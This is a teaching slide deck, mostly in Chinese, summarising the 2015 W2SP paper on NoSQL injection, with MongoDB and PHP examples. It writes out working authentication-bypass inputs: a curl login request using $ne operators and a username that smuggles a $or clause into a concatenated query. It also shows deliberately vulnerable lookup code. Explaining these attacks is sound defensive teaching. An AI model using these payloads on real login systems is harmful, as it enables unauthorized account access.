No SQL, No Injection?

報告者:中正大學 ANT 實驗室 紀冠宇 研究生

指導教授:中正大學 ANT 實驗室 潘仁義 教授

The 9th Workshop on Web 2.0 Security and Privacy (W2SP) 2015

Aviv Ron、Alexandra Shulman-Peleg、Emanuel Bronshtein

Cyber security Center of Excellence IBM

論文內容

  • NoSQL 簡介
  • NoSQL Injection
    • PHP Array Injection
    • NoSQL or Injection
  • NoSQL 其它安全議題
    • Authentication

背景知識

SQL Based Database

  • MySQL/MariaDB
  • Microsoft SQL Server
  • OracleSQL

NoSQL(Not Only SQL)

  • 文件儲存型
    • MongoDB
    • RethinkDB
  • 圖形關係型
    • Neo4j
  • 鍵-值型
    • Redis
    • etcd
  • 時序型
    • InfluxDB
  • 列儲存
    • HBase

Simple SQL Statement

-- T-SQL

SELECT * FROM users WHERE `name` <> 1;

-- MySQL

SELECT * FROM users WHERE `name` != 1;

PHP Array & json

<?php

// Normal Array
$a = [
    'username' => 'Vincent Chi',
    'password' => 'password',
];
json_encode($a); // {"username":"Vincent Chi","password":"password"}

// Nested Array
$b = [
    'username' => ['a' => 1],
    'password' => ['a' => 1],
];
json_encode($b); // {"username":{"a":1},"password":{"a":1}}

MongoDB

let MongoClient = require('mongodb'),
    assert = require('assert')

let url = 'mongodb://localhost:27017/member'

MongoClient.connect(url, (err, db) => {
    assert(null, err)
    console.log("MongoDB Connection Created.")
    db.close()

})

Connection

let MongoClient = require('mongodb'),
    assert = require('assert')

let url = 'mongodb://localhost:27017/member'

let insertMembers = (db, callback) => {
    let collection = db.collection('documents')

    collection.insertMany([
        {username: 'Vincent Chi', password: 'password'},
        {username: 'Karuru Dissidia', password: 'HuskyCute'}
    ], (err, result) => {
        assert(null, err)
        assert(2, result.result.n)
        assert(2, result.ops.length)
        console.log('Insert 2 members into MongoDB')
        callback(result)
    })
}

MongoClient.connect(url, (err, db) => {
    assert(null, err)
    console.log("Connected successfully to server");

    insertMembers(db, () => db.close())
})

Insert

let MongoClient = require('mongodb'),
    assert = require('assert')

let url = 'mongodb://localhost:27017/member'

let insertMembers = (db, callback) => {
    // Insert {name: 'Vincent Chi', password: 'password'}
    // Insert {name: 'Karuru Dissidia', password: 'HuskyCute'}
}

let findMember = (db, callback, data) => {
    let collection = db.collection('documents')

    collection.find(data).toArray((err, members) => {
        assert(null, err)
        console.log(members)
        callback(members)
    })
}

MongoClient.connect(url, (err, db) => {
    assert(null, err)
    console.log("Connected successfully to server");

    insertMembers(db, () => {
        findMember(db, () => db.close(), {name: 'Vincent Chi'})
    })
})

Find

PHP Array Injection

<?php

$request['username'] = $_POST['username']; // Vincent Chi

$request['password'] = $_POST['password']; // password
curl -X POST "https://example.app/login" -d "username=Vincent%20Chi&password=password"
<?php

$request['username'] = $_POST['username']; // Vincent Chi

$request['password'] = $_POST['password']; // password


$mongodb = new MongoDB('mongodb://localhost:27017/members');

$mongodb->find($request);
db.find({
    username: 'Vincent Chi',
    password: 'password'
})
curl -X POST "https://example.app/login" -d "username[$ne]=1&password[$ne]=1"
<?php

$request['username'] = $_POST['username']; // ['$ne' => 1]

$request['password'] = $_POST['password']; // ['$ne' => 1]
<?php

$request['username'] = $_POST['username']; // ['$ne' => 1]

$request['password'] = $_POST['password']; // ['$ne' => 1]


$mongodb = new MongoDB('mongodb://localhost:27017/members');

$mongodb->find($request);
db.find({
    username: {$ne: 1},
    password: {$ne: 1}
})

# "$ne" is the not equals condition in MongoDB. 
SELECT * FROM members WHERE `username` != 1 OR `password` != 1;

NoSQL OR Injection

let queryString = "{username: 'Vincent Chi', password: 'password'}"

db.find(queryString)
{
    username: 'Vincent Chi', 
    password: 'password'
}
username = 'Vincent Chi'
let queryString = "{username: '"+ username +"', password: 'password'}"

db.find(queryString)
let queryString = 
"{username: 'Vincent Chi', $or: [ {}, { 'a':'a&password='}]', password: 'password'}"

db.find(queryString)
{
    username: 'Vincent Chi', $or:[{}, {'a': 'a', password: ''}],
    password: 'password'
}
let queryString = "{username: '"+ username +"', password: 'password'}"

db.find(queryString)
username = 'Vincent Chi', $or: [ {}, { 'a':'a&password='}]'

其它安全議題

具有相同潛在安全風險

  • Redis

SQL injection techniques irrelevant (for NoSQL databse), but are NoSQL databases immune to injection in general? The answer is NO.

Made with Slides.com